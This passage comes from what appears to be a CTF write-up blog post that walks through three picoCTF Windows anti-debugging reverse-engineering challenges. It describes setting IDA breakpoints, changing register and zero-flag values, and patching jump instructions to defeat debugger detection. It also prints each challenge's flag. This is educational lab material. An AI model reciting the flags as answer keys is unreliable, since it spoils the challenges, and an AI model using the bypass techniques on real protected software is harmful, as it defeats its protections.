So, when the code executes test eax, eax after calling IsDebuggerPresent, it’s essentially checking the return value of IsDebuggerPresent stored in the eax register. If eax contains zero, it means IsDebuggerPresent returned false (no debugger detected), and the Zero Flag (ZF) will be set. Consequently, if the Zero Flag is set, the subsequent jz (jump if zero) instruction will jump to the location, likely to handle the scenario where no debugger is detected.

We put a breakpoint on the test eax, eax instruction.

winantidbg100-breakpoint1

And modify the eax register to contain a zero value so the method jumps to loc_B8161B which prints the flag.

winantidbg100-zeroflag1

winantidbg100-flag

picoCTF{d3bug_f0r_th3_Win_0x100_e6c390e2}

Reverse Engineering - WinAntiDbg0x200

If you have solved WinAntiDbg0x100, you’ll discover something new in this one. Debug the executable and find the flag! This challenge executable is a Windows console application, and you can start by running it using Command Prompt on Windows. This executable requires admin privileges. You might want to start Command Prompt or your debugger using the ‘Run as administrator’ option.

Upon receiving the binary, we loaded it into IDA (executed as administrator) and placed breakpoints to navigate through its execution flow, manipulating values to bypass various checks.

One such check required us to manipulate the ZF (Zero Flag) to a non-zero value, circumventing the subsequent jnz (Jump if Not Zero) instruction enforced by the IsDebuggerPresent method.

winantidbg200-breakpoint1

winantidbg200-zeroflag1

Another critical checkpoint that we need to modify:

winantidbg200-breakpoint2

We then set a breakpoint to intercept the flag value being moved into the eax register.

winantidbg200-jump

We can now read the flag from the register, if we would continue debugging then the flag would also be printend in the console.

winantidbg200-flag

picoCTF{0x200_debug_f0r_Win_603b1bdf}

Reverse Engineering - WinAntiDbg0x300

Upon receiving the binary, it became evident that it featured built-in debugger protection. Using the “Detect it Easy” tool, we examined its structure.

Subsequently, we unpacked the binary so it loads more readable data when opening it in “IDA”.

winantidbg300-unpack

The program seems to run a loop to keep checking if a debugger is present, we need to find a way to escape this loop and print the flag.

Inspecting the strings within the binary, we discovered a special string resembling the program’s starting ASCII art.

winantidbg300-string

In the same location we also find the strings that mentions “You got the Flag” and thus the location of the method that prints the flag.

winantidbg300-flagstring

When we do a testrun and try to debug the program, the application detects it and we get an error message before the application shuts down.

winantidbg300-odebugger

Identifying the location of this error message, we pinpointed the necessary patch to bypass it.

winantidbg300-odebuggerstring

Our initial patch involved altering the jz instruction to a jnz instruction in loc_12476C.

winantidbg300-firstpatch

Additional debugging revealed the need for another patch just before reaching the flag-printing method. We need to convert the jz instruction to jnz in the loc_1437C0 method.

winantidbg300-secondpatch

When we proceed with the debugging flow, or apply the patched bytes to the program, we get the flag.

winantidbg300-flag

picoCTF{Wind0ws_antid3bg_0x300_daad7155}

This post is licensed under CC BY 4.0 by the author.